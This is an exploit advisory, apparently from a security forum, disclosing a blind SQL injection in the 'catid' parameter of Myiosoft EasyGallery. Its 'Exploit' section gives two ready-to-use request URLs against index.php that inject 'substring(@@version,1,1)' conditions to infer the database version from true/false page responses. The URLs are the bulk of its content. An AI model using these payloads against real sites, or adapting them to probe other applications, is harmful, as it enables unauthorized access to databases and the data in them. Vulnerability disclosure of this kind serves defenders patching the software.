26 lines
No EOL
560 B
Text
26 lines
No EOL
560 B
Text
Myiosoft easygallery (catid) Blind SQL Injection Vulnerability
|
|
___________________________________
|
|
|
|
Author: Hussin X
|
|
|
|
Home : www.IQ-TY.com<http://www.IQ-TY.com>
|
|
|
|
MaiL : darkangeL_G85@Yahoo.CoM
|
|
___________________________________
|
|
|
|
|
|
script : http://myiosoft.com/?1.105.0.0
|
|
|
|
Exploit :
|
|
_______
|
|
true & false
|
|
|
|
http://server/easygallery/index.php?PageSection=0&page=category&catid=22+and+substring(@@version,1,1)=4 > false
|
|
|
|
http://server/easygallery/index.php?PageSection=0&page=category&catid=22+and+substring(@@version,1,1)=5 > true
|
|
|
|
|
|
|
|
|
|
end
|
|
IQ-SecuritY FoRuM |